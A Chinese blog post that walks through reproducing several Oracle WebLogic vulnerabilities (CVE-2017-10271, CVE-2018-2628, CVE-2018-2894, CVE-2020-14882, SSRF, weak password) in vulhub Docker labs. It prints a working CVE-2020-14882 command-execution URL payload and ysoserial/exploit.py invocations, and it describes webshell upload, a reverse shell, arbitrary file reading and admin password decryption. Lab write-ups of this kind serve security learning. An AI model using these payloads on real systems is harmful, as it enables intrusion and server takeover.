前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >vulhub-weblogic漏洞复现

vulhub-weblogic漏洞复现

作者头像
MssnHarvey
发布2022-08-10 19:36:53
8850
发布2022-08-10 19:36:53
举报
文章被收录于专栏:HarveyHarvey

CVE-2017-10271

搭建环境

代码语言:javascript
复制
root@kali:~# service docker start
root@kali:~# cd vulhub/weblogic/CVE-2017-10271
root@kali:~/vulhub/weblogic/CVE-2017-10271# docker-compose up -d
Pulling weblogic (vulhub/weblogic:10.3.6.0-2017)...
10.3.6.0-2017: Pulling from vulhub/weblogic
6599cadaf950: Pull complete
23eda618d451: Pull complete
f0be3084efe9: Pull complete
52de432f084b: Pull complete
a3ed95caeb02: Pull complete
a2318f26c625: Pull complete
1aa642dd8cc1: Pull complete
b307208f8bf5: Pull complete
1dfbbdcc497d: Pull complete
a53e674a7606: Pull complete
5f06bb51fa3c: Pull complete
ff0ff72567f2: Pull complete
684862046025: Pull complete
abbf8d475455: Pull complete
848eb11ef744: Pull complete
2f3438f2b83b: Pull complete
8e5871e15571: Pull complete
Digest: sha256:275ec19477cfda389dc1c42158033e7e8c650dd4cba9f090ca0ba673902b73c9
Status: Downloaded newer image for vulhub/weblogic:10.3.6.0-2017
Creating cve-2017-10271_weblogic_1 ... done
root@kali:~/vulhub/weblogic/CVE-2017-10271# docker ps -a
CONTAINER ID   IMAGE                           COMMAND              CREATED        STATUS        PORTS                                                 NAMES
1679f39e291b   vulhub/weblogic:10.3.6.0-2017   "startWebLogic.sh"   14 hours ago   Up 14 hours   5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp   cve-2017-10271_weblogic_1

当想进入另一个漏洞靶场时,需要先结束当前的漏洞靶场:docker-compose down

当访问 http://ip:7001 存在下图时,说明 weblogic 已成功启动

漏洞复现

漏洞说明: Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。 影响范围: 10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0 触发漏洞url: /wls-wsat/CoordinatorPortType11 /wls-wsat/CoordinatorPortType /wls-wsat/RegistrationPortTypeRPC /wls-wsat/ParticipantPortType /wls-wsat/RegistrationRequesterPortType /wls-wsat/RegistrationPortTypeRPC11 /wls-wsat/ParticipantPortType11 /wls-wsat/RegistrationRequesterPortType11

首先初步判断,访问 http://ip:7001/wls-wsat/CoordinatorPortType11 存在下图,则说明可能存在漏洞

接着我们构造个POST包进行测试,写入文件,访问 http://ip:7001/wls-wsat/test.txt 可以发现成功写入test

然后构造好反弹shell的命令,使用nc监听4444端口,最终成功反弹

CVE-2018-2628

搭建环境

代码语言:javascript
复制
root@kali:~# service docker start
root@kali:~# cd vulhub/weblogic/CVE-2018-2628
root@kali:~/vulhub/weblogic/CVE-2018-2628# docker-compose up -d
Creating network "cve-2018-2628_default" with the default driver
Creating cve-2018-2628_weblogic_1 ... done
root@kali:~/vulhub/weblogic/CVE-2018-2628# docker ps -a
CONTAINER ID   IMAGE                           COMMAND              CREATED              STATUS              PORTS                                                 NAMES
863d3bf60dff   vulhub/weblogic:10.3.6.0-2017   "startWebLogic.sh"   About a minute ago   Up About a minute   5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp   cve-2018-2628_weblogic_1

漏洞复现

漏洞说明: Oracle 2018年4月补丁中,修复了Weblogic Server WLS Core Components中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。 影响范围: Oracle WebLogic Server 10.3.6.0 Oracle WebLogic Server 12.1.3.0 Oracle WebLogic Server 12.2.1.2 Oracle WebLogic Server 12.2.1.3

首先下载ysoserial,并启动一个JRMP Server

代码语言:javascript
复制
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
//[listen port]表示JRMP Server监听的端口,CommonsCollections1表示jdk版本,[command]表示想要执行的命令

然后使用exploit.py脚本,向目标发送数据包

代码语言:javascript
复制
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]
//[victim ip]和[victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地ysoserial的路径,[JRMPListener ip]和[JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2。

最后执行docker-compose exec weblogic bash进入容器中,可见 /tmp/test 已成功创建

CVE-2018-2894

搭建环境

代码语言:javascript
复制
root@kali:~# service docker start
root@kali:~# cd vulhub/weblogic/CVE-2018-2894
root@kali:~/vulhub/weblogic/CVE-2018-2894# docker-compose up -d
Pulling weblogic (vulhub/weblogic:12.2.1.3-2018)...
12.2.1.3-2018: Pulling from vulhub/weblogic
4040fe120662: Pull complete
5788a5fddf0e: Pull complete
88fc159ecf27: Pull complete
138d86176392: Pull complete
586a610c1c83: Pull complete
8362c571c14a: Pull complete
d4802e4ac1d2: Pull complete
Digest: sha256:8ddf63df92426e521e60c2db913602394a799921fb3919094aef012e3ad6b13f
Status: Downloaded newer image for vulhub/weblogic:12.2.1.3-2018
Creating cve-2018-2894_weblogic_1 ... done
root@kali:~/vulhub/weblogic/CVE-2018-2894# docker ps -a
CONTAINER ID   IMAGE                           COMMAND                  CREATED          STATUS          PORTS                                       NAMES
bf277254cf96   vulhub/weblogic:12.2.1.3-2018   "/u01/oracle/createA…"   49 seconds ago   Up 46 seconds   0.0.0.0:7001->7001/tcp, :::7001->7001/tcp   cve-2018-2894_weblogic_1

漏洞复现

漏洞说明: Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。 影响范围: Oracle WebLogic Server 10.3.6.0 Oracle WebLogic Server 12.1.3.0 Oracle WebLogic Server 12.2.1.2 Oracle WebLogic Server 12.2.1.3 触发漏洞url: /ws_utc/begin.do /ws_utc/config.do

访问http://ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css,点击提交

然后选择 Security - Add 上传Webshell

上传后,F12查找相对应的时间戳(也可通过burp抓包查看)

然后访问http://ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell

CVE-2020-14882

搭建环境

代码语言:javascript
复制
root@kali:~# service docker start
root@kali:~# cd vulhub/weblogic/CVE-2020-14882
root@kali:~/vulhub/weblogic/CVE-2020-14882# docker-compose up -d
Creating network "cve-2020-14882_default" with the default driver
Creating cve-2020-14882_weblogic_1 ... done
root@kali:~/vulhub/weblogic/CVE-2020-14882# docker ps -a
CONTAINER ID   IMAGE                           COMMAND                  CREATED         STATUS         PORTS                                       NAMES
22b203d090ef   vulhub/weblogic:12.2.1.3-2018   "/u01/oracle/createA…"   9 seconds ago   Up 8 seconds   0.0.0.0:7001->7001/tcp, :::7001->7001/tcp   cve-2020-14882_weblogic_1

漏洞复现

漏洞说明: Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14883。 CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。 影响范围: Oracle WebLogic Server 10.3.6.0.0 Oracle WebLogic Server 12.1.3.0.0 Oracle WebLogic Server 12.2.1.3.0 Oracle WebLogic Server 12.2.1.4.0 Oracle WebLogic Server 14.1.1.0.0

这里我们直接用网上的poc,并通过创建文件的命令来测试该poc

代码语言:javascript
复制
/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27你想执行的命令%27);%22);

最后执行docker-compose exec weblogic bash进入容器中,可见 /tmp/test 已成功创建

代码语言:javascript
复制
root@kali:~/vulhub/weblogic/CVE-2020-14882# docker-compose exec weblogic bash
[oracle@902b0d078b45 ~]$ ls /tmp
hsperfdata_oracle  test  wlstOfflineLogs_oracle  wlstTemporacle

ssrf

搭建环境

代码语言:javascript
复制
root@kali:~# service docker start
root@kali:~# cd vulhub/weblogic/ssrf
root@kali:~/vulhub/weblogic/ssrf# docker-compose up -d
Pulling redis (vulhub/baselinux:centos-6)...
centos-6: Pulling from vulhub/baselinux
ff50d722b382: Pull complete
c1692ffee92d: Pull complete
bb55baebb63d: Pull complete
669dbd7f283f: Pull complete
cfe024e50ec9: Pull complete
Digest: sha256:47854618dcdc80eb14e92cff51f3eb728683cf177b8eabe91863d1d6889e5d64
Status: Downloaded newer image for vulhub/baselinux:centos-6
Creating ssrf_redis_1 ... done
Creating ssrf_weblogic_1 ... done
root@kali:~/vulhub/weblogic/ssrf# docker ps -a
CONTAINER ID   IMAGE                           COMMAND                  CREATED          STATUS                        PORTS                                                 NAMES
cafc95cb2807   vulhub/weblogic:10.3.6.0-2017   "startWebLogic.sh"       21 minutes ago   Up 21 minutes                 5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp   ssrf_weblogic_1
8fad0fb37072   vulhub/baselinux:centos-6       "/docker-entrypoint.…"   21 minutes ago   Exited (139) 21 minutes ago                                                         ssrf_redis_1

漏洞复现

漏洞说明: Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。 影响范围: weblogic 10.0.2 - 10.3.6 触发漏洞url: /uddiexplorer/SearchPublicRegistries.jsp

SSRF漏洞存在于http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp(这里有参数传入的是url)

若报错显示 weblogic.uddi.client.structures.exception.XML_SoapException,则说明存在此漏洞 接着我们探测端口,可访问的端口将会得到错误,一般是返回status code(如下图)

修改为一个不存在的端口,将会返回could not connect over HTTP to server

通过错误的不同,即可探测内网状态。 Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。 首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*)

然后就发现dockerfile可能出了啥问题,咕咕咕了~

weak_password

搭建环境

代码语言:javascript
复制
root@kali:~# service docker start
root@kali:~# cd vulhub/weblogic/weak_password
root@kali:~/vulhub/weblogic/weak_password# docker-compose up -d
Creating network "weak_password_default" with the default driver
Creating weak_password_weblogic_1 ... done
root@kali:~/vulhub/weblogic/weak_password# docker ps -a
CONTAINER ID   IMAGE                           COMMAND              CREATED          STATUS          PORTS                                                                                  NAMES
c17dc9f3b2f1   vulhub/weblogic:10.3.6.0-2017   "startWebLogic.sh"   11 seconds ago   Up 10 seconds   0.0.0.0:5556->5556/tcp, :::5556->5556/tcp, 0.0.0.0:7001->7001/tcp, :::7001->7001/tcp   weak_password_weblogic_1

漏洞复现

漏洞说明: 本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。

通过访问weblogic后台 http://ip:7001/console/login/LoginForm.jsp 可发现存在弱口令:weblogic/Oracle@123

weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic

当不存在弱口令时,我们还可以尝试任意文件下载来破解后台密码,通过访问http://ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件

然后我们开始读取后台用户密文与密钥文件,weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml 其中SerializedSystemIni.dat是一个二进制文件,必须得用burp来读取,如果直接用浏览器下载可能会引入一些干扰字符,在burp里选中读取到的那一串乱码,这就是密钥,右键copy to file就可以保存成一个文件:

config.xml是base_domain的全局配置文件

最后使用工具weblogic_decrypt.jar,解密密文

后台上传shell

首先制作war包,将webshell压缩成zip格式,修改后缀名为war即可,然后我们上传war包,点击 Deployments - install - upload your file(s) - Browse - Next - Next - Next - Finish ,最后成功getshell

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-10-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • CVE-2017-10271
    • 搭建环境
      • 漏洞复现
      • CVE-2018-2628
        • 搭建环境
          • 漏洞复现
          • CVE-2018-2894
            • 搭建环境
              • 漏洞复现
              • CVE-2020-14882
                • 搭建环境
                  • 漏洞复现
                  • ssrf
                    • 搭建环境
                      • 漏洞复现
                      • weak_password
                        • 搭建环境
                          • 漏洞复现
                            • 后台上传shell
                            相关产品与服务
                            容器服务
                            腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
                            领券
                            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档